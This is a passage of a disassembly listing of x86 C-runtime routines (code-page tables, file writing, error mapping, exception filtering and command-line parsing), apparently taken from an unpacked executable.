O U T I N E ======================================= sub_41BF95 proc near ; CODE XREF: sub_41BD71+81p ; sub_41F845+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_41BFB2 loc_41BFA5: ; CODE XREF: sub_41BF95+1Bj cmp byte ptr [eax], 0 jz short loc_41BFB2 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_41BFA5 loc_41BFB2: ; CODE XREF: sub_41BF95+Ej ; sub_41BF95+13j cmp byte ptr [eax], 0 pop esi jnz short loc_41BFBD sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41BFBD: ; CODE XREF: sub_41BF95+21j mov eax, edx retn sub_41BF95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BFC0 proc near ; CODE XREF: sub_41C384+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41C159 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_46A8C4 mov [ebp+arg_0], esi jz loc_41C14D xor ebx, ebx cmp esi, ebx jz loc_41C143 xor edx, edx mov eax, offset dword_4380F0 loc_41BFF4: ; CODE XREF: sub_41BFC0+41j cmp [eax], esi jz short loc_41C06A add eax, 30h inc edx cmp eax, offset dword_4381E0 jl short loc_41BFF4 lea eax, [ebp+var_18] push eax push esi call dword_421194 ; GetCPInfo cmp eax, 1 jnz loc_41C13B push 40h xor eax, eax pop ecx mov edi, offset byte_46A9E0 cmp [ebp+var_18], 1 mov dword_46A8C4, esi rep stosd stosb mov dword_46AAE4, ebx jbe loc_41C129 cmp [ebp+var_12], 0 jz loc_41C0FF lea ecx, [ebp+var_11] loc_41C047: ; CODE XREF: sub_41BFC0+139j mov dl, [ecx] test dl, dl jz loc_41C0FF movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41C058: ; CODE XREF: sub_41BFC0+A8j cmp eax, edx ja loc_41C0F3 or byte_46A9E1[eax], 4 inc eax jmp short loc_41C058 ; --------------------------------------------------------------------------- loc_41C06A: ; CODE XREF: sub_41BFC0+36j push 40h xor eax, eax pop ecx mov edi, offset byte_46A9E0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_438100[esi] loc_41C086: ; CODE XREF: sub_41BFC0+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41C0B9 loc_41C08D: ; CODE XREF: sub_41BFC0+F7j mov dl, [ecx+1] test dl, dl jz short loc_41C0B9 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41C0B2 mov edx, [ebp+var_4] mov dl, byte_4380E8[edx] loc_41C0A7: ; CODE XREF: sub_41BFC0+F0j or byte_46A9E1[eax], dl inc eax cmp eax, edi jbe short loc_41C0A7 loc_41C0B2: ; CODE XREF: sub_41BFC0+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41C08D loc_41C0B9: ; CODE XREF: sub_41BFC0+CBj ; sub_41BFC0+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41C086 mov eax, [ebp+arg_0] mov dword_46A8DC, 1 push eax mov dword_46A8C4, eax call sub_41C1A3 lea esi, dword_4380F4[esi] mov edi, offset dword_46A8D0 movsd movsd pop ecx mov dword_46AAE4, eax movsd jmp short loc_41C148 ; --------------------------------------------------------------------------- loc_41C0F3: ; CODE XREF: sub_41BFC0+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41C047 loc_41C0FF: ; CODE XREF: sub_41BFC0+7Ej ; sub_41BFC0+8Bj push 1 pop eax loc_41C102: ; CODE XREF: sub_41BFC0+14Fj or byte_46A9E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41C102 push esi call sub_41C1A3 pop ecx mov dword_46AAE4, eax mov dword_46A8DC, 1 jmp short loc_41C12F ; --------------------------------------------------------------------------- loc_41C129: ; CODE XREF: sub_41BFC0+74j mov dword_46A8DC, ebx loc_41C12F: ; CODE XREF: sub_41BFC0+167j xor eax, eax mov edi, offset dword_46A8D0 stosd stosd stosd jmp short loc_41C148 ; --------------------------------------------------------------------------- loc_41C13B: ; CODE XREF: sub_41BFC0+51j cmp dword_469540, ebx jz short loc_41C151 loc_41C143: ; CODE XREF: sub_41BFC0+27j call sub_41C1D6 loc_41C148: ; CODE XREF: sub_41BFC0+131j ; sub_41BFC0+179j call sub_41C1FF loc_41C14D: ; CODE XREF: sub_41BFC0+1Dj xor eax, eax jmp short loc_41C154 ; --------------------------------------------------------------------------- loc_41C151: ; CODE XREF: sub_41BFC0+181j or eax, 0FFFFFFFFh loc_41C154: ; CODE XREF: sub_41BFC0+18Fj pop edi pop esi pop ebx leave retn sub_41BFC0 endp ; =============== S U B R O U T I N E ======================================= sub_41C159 proc near ; CODE XREF: sub_41BFC0+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_469540, 0 cmp eax, 0FFFFFFFEh jnz short loc_41C179 mov dword_469540, 1 jmp dword_42119C ; --------------------------------------------------------------------------- loc_41C179: ; CODE XREF: sub_41C159+Ej cmp eax, 0FFFFFFFDh jnz short loc_41C18E mov dword_469540, 1 jmp dword_421198 ; --------------------------------------------------------------------------- loc_41C18E: ; CODE XREF: sub_41C159+23j cmp eax, 0FFFFFFFCh jnz short locret_41C1A2 mov eax, dword_469538 mov dword_469540, 1 locret_41C1A2: ; CODE XREF: sub_41C159+38j retn sub_41C159 endp ; =============== S U B R O U T I N E ======================================= sub_41C1A3 proc near ; CODE XREF: sub_41BFC0+118p ; sub_41BFC0+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41C1D0 sub eax, 4 jz short loc_41C1CA sub eax, 0Dh jz short loc_41C1C4 dec eax jz short loc_41C1BE xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C1BE: ; CODE XREF: sub_41C1A3+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41C1C4: ; CODE XREF: sub_41C1A3+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41C1CA: ; CODE XREF: sub_41C1A3+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41C1D0: ; CODE XREF: sub_41C1A3+9j mov eax, 411h retn sub_41C1A3 endp ; =============== S U B R O U T I N E ======================================= sub_41C1D6 proc near ; CODE XREF: sub_41BFC0:loc_41C143p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_46A9E0 rep stosd stosb xor eax, eax mov edi, offset dword_46A8D0 mov dword_46A8C4, eax mov dword_46A8DC, eax mov dword_46AAE4, eax stosd stosd stosd pop edi retn sub_41C1D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C1FF proc near ; CODE XREF: sub_41BFC0:loc_41C148p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_46A8C4 call dword_421194 ; GetCPInfo cmp eax, 1 jnz loc_41C338 xor eax, eax mov esi, 100h loc_41C229: ; CODE XREF: sub_41C1FF+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41C229 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41C27A push ebx push edi lea edx, [ebp+var_D] loc_41C248: ; CODE XREF: sub_41C1FF+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41C26F sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41C26F: ; CODE XREF: sub_41C1FF+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41C248 pop edi pop ebx loc_41C27A: ; CODE XREF: sub_41C1FF+42j push 0 lea eax, [ebp+var_514] push dword_46AAE4 push dword_46A8C4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41D1F7 push 0 lea eax, [ebp+var_214] push dword_46A8C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_46AAE4 call sub_41BD71 push 0 lea eax, [ebp+var_314] push dword_46A8C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_46AAE4 call sub_41BD71 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41C2F5: ; CODE XREF: sub_41C1FF+135j mov dx, [ecx] test dl, 1 jz short loc_41C313 or byte_46A9E1[eax], 10h mov dl, [ebp+eax+var_214] loc_41C30B: ; CODE XREF: sub_41C1FF+127j mov byte_46A8E0[eax], dl jmp short loc_41C32F ; --------------------------------------------------------------------------- loc_41C313: ; CODE XREF: sub_41C1FF+FCj test dl, 2 jz short loc_41C328 or byte_46A9E1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41C30B ; --------------------------------------------------------------------------- loc_41C328: ; CODE XREF: sub_41C1FF+117j and byte_46A8E0[eax], 0 loc_41C32F: ; CODE XREF: sub_41C1FF+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41C2F5 jmp short loc_41C381 ; --------------------------------------------------------------------------- loc_41C338: ; CODE XREF: sub_41C1FF+1Dj xor eax, eax mov esi, 100h loc_41C33F: ; CODE XREF: sub_41C1FF+180j cmp eax, 41h jb short loc_41C35D cmp eax, 5Ah ja short loc_41C35D or byte_46A9E1[eax], 10h mov cl, al add cl, 20h loc_41C355: ; CODE XREF: sub_41C1FF+174j mov byte_46A8E0[eax], cl jmp short loc_41C37C ; --------------------------------------------------------------------------- loc_41C35D: ; CODE XREF: sub_41C1FF+143j ; sub_41C1FF+148j cmp eax, 61h jb short loc_41C375 cmp eax, 7Ah ja short loc_41C375 or byte_46A9E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_41C355 ; --------------------------------------------------------------------------- loc_41C375: ; CODE XREF: sub_41C1FF+161j ; sub_41C1FF+166j and byte_46A8E0[eax], 0 loc_41C37C: ; CODE XREF: sub_41C1FF+15Cj inc eax cmp eax, esi jb short loc_41C33F loc_41C381: ; CODE XREF: sub_41C1FF+137j pop esi leave retn sub_41C1FF endp ; =============== S U B R O U T I N E ======================================= sub_41C384 proc near ; CODE XREF: sub_41C7C2+9p ; sub_41C81A+Dp ... cmp dword_46AB0C, 0 jnz short locret_41C39F push 0FFFFFFFDh call sub_41BFC0 pop ecx mov dword_46AB0C, 1 locret_41C39F: ; CODE XREF: sub_41C384+7j retn sub_41C384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3A0 proc near ; CODE XREF: sub_417348+2Bp ; sub_417348+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_46A8DC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41C3C4 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_416D40 add esp, 0Ch jmp short loc_41C427 ; --------------------------------------------------------------------------- loc_41C3C4: ; CODE XREF: sub_41C3A0+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41C409 mov ecx, [ebp+arg_4] loc_41C3CF: ; CODE XREF: sub_41C3A0+5Bj mov al, [ecx] dec edx movzx esi, al test byte_46A9E1[esi], 4 mov [edi], al jz short loc_41C3F3 inc edi inc ecx test edx, edx jz short loc_41C3FF mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41C405 jmp short loc_41C3F9 ; --------------------------------------------------------------------------- loc_41C3F3: ; CODE XREF: sub_41C3A0+3Ej inc edi inc ecx test al, al jz short loc_41C409 loc_41C3F9: ; CODE XREF: sub_41C3A0+51j test edx, edx jnz short loc_41C3CF jmp short loc_41C409 ; --------------------------------------------------------------------------- loc_41C3FF: ; CODE XREF: sub_41C3A0+44j and byte ptr [edi-1], 0 jmp short loc_41C409 ; --------------------------------------------------------------------------- loc_41C405: ; CODE XREF: sub_41C3A0+4Fj and byte ptr [edi-2], 0 loc_41C409: ; CODE XREF: sub_41C3A0+2Aj ; sub_41C3A0+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41C424 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41C424: ; CODE XREF: sub_41C3A0+6Fj mov eax, [ebp+arg_0] loc_41C427: ; CODE XREF: sub_41C3A0+22j pop edi pop ebp retn sub_41C3A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C42A proc near ; CODE XREF: sub_4175FF+A2p ; sub_417C37+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_46A8C0 push esi push edi jnb loc_41C5BE mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:46A7C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41C5BE xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41C47B loc_41C474: ; CODE XREF: sub_41C42A+177j xor eax, eax jmp loc_41C5D2 ; --------------------------------------------------------------------------- loc_41C47B: ; CODE XREF: sub_41C42A+48j test al, 20h jz short loc_41C48B push 2 push edi push ecx call sub_41BB7F add esp, 0Ch loc_41C48B: ; CODE XREF: sub_41C42A+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41C55A mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41C592 loc_41C4AB: ; CODE XREF: sub_41C42A+F5j lea eax, [ebp+var_414] loc_41C4B1: ; CODE XREF: sub_41C42A+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41C4E5 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41C4D0 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41C4D0: ; CODE XREF: sub_41C42A+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41C4B1 loc_41C4E5: ; CODE XREF: sub_41C42A+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_421070 ; WriteFile test eax, eax jz short loc_41C54F mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41C521 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41C4AB loc_41C521: ; CODE XREF: sub_41C42A+EAj ; sub_41C42A+12Ej xor edi, edi loc_41C523: ; CODE XREF: sub_41C42A+150j ; sub_41C42A+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41C5B9 cmp [ebp+arg_0], edi jz short loc_41C592 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41C587 mov dword_469494, 9 mov dword_469498, eax jmp loc_41C5CF ; --------------------------------------------------------------------------- loc_41C54F: ; CODE XREF: sub_41C42A+E0j call dword_421088 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41C521 ; --------------------------------------------------------------------------- loc_41C55A: ; CODE XREF: sub_41C42A+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_421070 ; WriteFile test eax, eax jz short loc_41C57C mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41C523 ; --------------------------------------------------------------------------- loc_41C57C: ; CODE XREF: sub_41C42A+145j call dword_421088 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41C523 ; --------------------------------------------------------------------------- loc_41C587: ; CODE XREF: sub_41C42A+10Fj push [ebp+arg_0] call sub_41C5D7 pop ecx jmp short loc_41C5CF ; --------------------------------------------------------------------------- loc_41C592: ; CODE XREF: sub_41C42A+7Bj ; sub_41C42A+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41C5A7 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41C474 loc_41C5A7: ; CODE XREF: sub_41C42A+16Fj mov dword_469494, 1Ch mov dword_469498, edi jmp short loc_41C5CF ; --------------------------------------------------------------------------- loc_41C5B9: ; CODE XREF: sub_41C42A+FEj sub eax, [ebp+var_10] jmp short loc_41C5D2 ; --------------------------------------------------------------------------- loc_41C5BE: ; CODE XREF: sub_41C42A+15j ; sub_41C42A+37j and dword_469498, 0 mov dword_469494, 9 loc_41C5CF: ; CODE XREF: sub_41C42A+120j ; sub_41C42A+166j ... or eax, 0FFFFFFFFh loc_41C5D2: ; CODE XREF: sub_41C42A+4Cj ; sub_41C42A+192j pop edi pop esi pop ebx leave retn sub_41C42A endp ; =============== S U B R O U T I N E ======================================= sub_41C5D7 proc near ; CODE XREF: sub_417709+16p ; sub_4178FC+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_469498, ecx mov eax, offset dword_4381E0 loc_41C5E8: ; CODE XREF: sub_41C5D7+1Ej cmp ecx, [eax] jz short loc_41C60C add eax, 8 inc edx cmp eax, offset dword_438348 jl short loc_41C5E8 cmp ecx, 13h jb short loc_41C619 cmp ecx, 24h ja short loc_41C619 mov dword_469494, 0Dh retn ; --------------------------------------------------------------------------- loc_41C60C: ; CODE XREF: sub_41C5D7+13j mov eax, dword_4381E4[edx*8] mov dword_469494, eax retn ; --------------------------------------------------------------------------- loc_41C619: ; CODE XREF: sub_41C5D7+23j ; sub_41C5D7+28j cmp ecx, 0BCh jb short loc_41C633 cmp ecx, 0CAh mov dword_469494, 8 jbe short locret_41C63D loc_41C633: ; CODE XREF: sub_41C5D7+48j mov dword_469494, 16h locret_41C63D: ; CODE XREF: sub_41C5D7+5Aj retn sub_41C5D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C63E proc near ; CODE XREF: sub_417AF8+E3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_41C77F test eax, eax pop ecx jz loc_41C773 mov ebx, [eax+8] test ebx, ebx jz loc_41C773 cmp ebx, 5 jnz short loc_41C66F and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41C77C ; --------------------------------------------------------------------------- loc_41C66F: ; CODE XREF: sub_41C63E+23j cmp ebx, 1 jz loc_41C76E mov ecx, dword_469544 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_469544, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41C75E mov ecx, dword_4383C0 mov edx, dword_4383C4 add edx, ecx push esi cmp ecx, edx jge short loc_41C6BE lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:438350h[esi*4] loc_41C6B5: ; CODE XREF: sub_41C63E+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41C6B5 loc_41C6BE: ; CODE XREF: sub_41C63E+69j mov eax, [eax] mov esi, dword_4383CC cmp eax, 0C000008Eh jnz short loc_41C6D9 mov dword_4383CC, 83h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C6D9: ; CODE XREF: sub_41C63E+8Dj cmp eax, 0C0000090h jnz short loc_41C6EC mov dword_4383CC, 81h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C6EC: ; CODE XREF: sub_41C63E+A0j cmp eax, 0C0000091h jnz short loc_41C6FF mov dword_4383CC, 84h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C63E+B3j cmp eax, 0C0000093h jnz short loc_41C712 mov dword_4383CC, 85h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C712: ; CODE XREF: sub_41C63E+C6j cmp eax, 0C000008Dh jnz short loc_41C725 mov dword_4383CC, 82h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C725: ; CODE XREF: sub_41C63E+D9j cmp eax, 0C000008Fh jnz short loc_41C738 mov dword_4383CC, 86h jmp short loc_41C749 ; --------------------------------------------------------------------------- loc_41C738: ; CODE XREF: sub_41C63E+ECj cmp eax, 0C0000092h jnz short loc_41C749 mov dword_4383CC, 8Ah loc_41C749: ; CODE XREF: sub_41C63E+99j ; sub_41C63E+ACj ... push dword_4383CC push 8 call ebx pop ecx mov dword_4383CC, esi pop ecx pop esi jmp short loc_41C766 ; --------------------------------------------------------------------------- loc_41C75E: ; CODE XREF: sub_41C63E+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41C766: ; CODE XREF: sub_41C63E+11Ej mov eax, [ebp+arg_0] mov dword_469544, eax loc_41C76E: ; CODE XREF: sub_41C63E+34j or eax, 0FFFFFFFFh jmp short loc_41C77C ; --------------------------------------------------------------------------- loc_41C773: ; CODE XREF: sub_41C63E+Fj ; sub_41C63E+1Aj push [ebp+arg_4] call dword_4211A0 ; UnhandledExceptionFilter loc_41C77C: ; CODE XREF: sub_41C63E+2Cj ; sub_41C63E+133j pop ebx pop ebp retn sub_41C63E endp ; =============== S U B R O U T I N E ======================================= sub_41C77F proc near ; CODE XREF: sub_41C63E+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4383C8 cmp dword_438348, edx push esi mov eax, offset dword_438348 jz short loc_41C7AC lea esi, [ecx+ecx*2] lea esi, ds:438348h[esi*4] loc_41C7A1: ; CODE XREF: sub_41C77F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41C7AC cmp [eax], edx jnz short loc_41C7A1 loc_41C7AC: ; CODE XREF: sub_41C77F+16j ; sub_41C77F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:438348h[ecx*4] cmp eax, ecx jnb short loc_41C7BF cmp [eax], edx jz short locret_41C7C1 loc_41C7BF: ; CODE XREF: sub_41C77F+3Aj xor eax, eax locret_41C7C1: ; CODE XREF: sub_41C77F+3Ej retn sub_41C77F endp ; =============== S U B R O U T I N E ======================================= sub_41C7C2 proc near ; CODE XREF: sub_417AF8+A5p cmp dword_46AB0C, 0 jnz short loc_41C7D0 call sub_41C384 loc_41C7D0: ; CODE XREF: sub_41C7C2+7j push esi mov esi, dword_46AB04 mov al, [esi] cmp al, 22h jnz short loc_41C802 loc_41C7DD: ; CODE XREF: sub_41C7C2+33j ; sub_41C7C2+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41C7FA test al, al jz short loc_41C7FA movzx eax, al push eax call sub_41E6AC test eax, eax pop ecx jz short loc_41C7DD inc esi jmp short loc_41C7DD ; --------------------------------------------------------------------------- loc_41C7FA: ; CODE XREF: sub_41C7C2+21j ; sub_41C7C2+25j cmp byte ptr [esi], 22h jnz short loc_41C80C loc_41C7FF: ; CODE XREF: sub_41C7C2+52j inc esi jmp short loc_41C80C ; --------------------------------------------------------------------------- loc_41C802: ; CODE XREF: sub_41C7C2+19j cmp al, 20h jbe short loc_41C80C loc_41C806: ; CODE XREF: sub_41C7C2+48j inc esi cmp byte ptr [esi], 20h ja short loc_41C806 loc_41C80C: ; CODE XREF: sub_41C7C2+3Bj ; sub_41C7C2+3Ej ... mov al, [esi] test al, al jz short loc_41C816 cmp al, 20h jbe short loc_41C7FF loc_41C816: ; CODE XREF: sub_41C7C2+4Ej mov eax, esi pop esi retn sub_41C7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41C81A proc near ; CODE XREF: sub_417AF8+8Ep push ebx xor ebx, ebx cmp dword_46AB0C, ebx push esi push edi jnz short loc_41C82C call sub_41C384 loc_41C82C: ; CODE XREF: sub_41C81A+Bj mov esi, dword_4694E0 xor edi, edi loc_41C834: ; CODE XREF: sub_41C81A+30j mov al, [esi] cmp al, bl jz short loc_41C84C cmp al, 3Dh jz short loc_41C83F inc edi loc_41C83F: ; CODE XREF: sub_41C81A+22j push esi call sub_415CF0 pop ecx lea esi, [esi+eax+1] jmp short loc_41C834 ; --------------------------------------------------------------------------- loc_41C84C: ; CODE XREF: sub_41C81A+1Ej lea eax, ds:4[edi*4] push eax call sub_415DC9 mov esi, eax pop ecx cmp esi, ebx mov dword_4694BC, esi jnz short loc_41C86E push 9 call sub_417BEE pop ecx loc_41C86E: ; CODE XREF: sub_41C81A+4Aj mov edi, dword_4694E0 cmp [edi], bl jz short loc_41C8B1 push ebp loc_41C879: ; CODE XREF: sub_41C81A+94j push edi call sub_415CF0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41C8AA push ebp call sub_415DC9 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41C89D push 9 call sub_417BEE pop ecx loc_41C89D: ; CODE XREF: sub_41C81A+79j push edi push dword ptr [esi] call sub_415C00 pop ecx add esi, 4 pop ecx loc_41C8AA: ; CODE XREF: sub_41C81A+6Cj add edi, ebp cmp [edi], bl jnz short loc_41C879 pop ebp loc_41C8B1: ; CODE XREF: sub_41C81A+5Cj push dword_4694E0 call sub_415E3D pop ecx mov dword_4694E0, ebx mov [esi], ebx pop edi pop esi mov dword_46AB08, 1 pop ebx retn sub_41C81A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8D3 proc near ; CODE XREF: sub_417AF8+89p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_46AB0C, ebx push esi push edi jnz short loc_41C8EA call sub_41C384 loc_41C8EA: ; CODE XREF: sub_41C8D3+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call dword_42107C ; GetModuleFileNameA mov eax, dword_46AB04 mov off_4694CC, esi mov edi, esi cmp [eax], bl jz short loc_41C90F mov edi, eax loc_41C90F: ; CODE XREF: sub_41C8D3+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_41C96C mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_415DC9 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41C93F push 8 call sub_417BEE pop ecx loc_41C93F: ; CODE XREF: sub_41C8D3+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41C96C mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_4694B4, esi pop edi pop esi mov dword_4694B0, eax pop ebx leave retn sub_41C8D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C96C proc near ; CODE XREF: sub_41C8D3+47p ; sub_41C8D3+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41C996 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41C996: ; CODE XREF: sub_41C96C+20j cmp byte ptr [eax], 22h jnz short loc_41C9DF loc_41C99B: ; CODE XREF: sub_41C96C+58j ; sub_41C96C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41C9CD test dl, dl jz short loc_41C9CD movzx edx, dl test byte_46A9E1[edx], 4 jz short loc_41C9C0 inc dword ptr [ecx] test esi, esi jz short loc_41C9C0 mov dl, [eax] mov [esi], dl inc esi inc eax loc_41C9C0: ; CODE XREF: sub_41C96C+46j ; sub_41C96C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41C99B mov dl, [eax] mov [esi], dl inc esi jmp short loc_41C99B ; --------------------------------------------------------------------------- loc_41C9CD: ; CODE XREF: sub_41C96C+36j ; sub_41C96C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41C9D7 and byte ptr [esi], 0 inc esi loc_41C9D7: ; CODE XREF: sub_41C96C+65j cmp byte ptr [eax], 22h jnz short loc_41CA22 inc eax jmp short loc_41CA22 ; --------------------------------------------------------------------------- loc_41C9DF: ; CODE XREF: sub_41C96C+2Dj ; sub_41C96C+A5j inc dword ptr [ecx] test esi, esi jz short loc_41C9EA mov dl, [eax] mov [esi], dl inc esi loc_41C9EA: ; CODE XREF: sub_41C96C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_46A9E1[ebx], 4 jz short loc_41CA05 inc dword ptr [ecx] test esi, esi jz short loc_41CA04 mov bl, [eax] mov [esi], bl inc esi loc_41CA04: ; CODE XREF: sub_41C96C+91j inc eax loc_41CA05: ; CODE XREF: sub_41C96C+8Bj cmp dl, 20h jz short loc_41CA13 test dl, dl jz short loc_41CA17 cmp dl, 9 jnz short loc_41C9DF loc_41CA13: ; CODE XREF: sub_41C96C+9Cj test dl, dl jnz short loc_41CA1A loc_41CA17: ; CODE XREF: sub_41C96C+A0j dec eax jmp short loc_41CA22 ; --------------------------------------------------------------------------- loc_41CA1A: ; CODE XREF: sub_41C96C+A9j test esi, 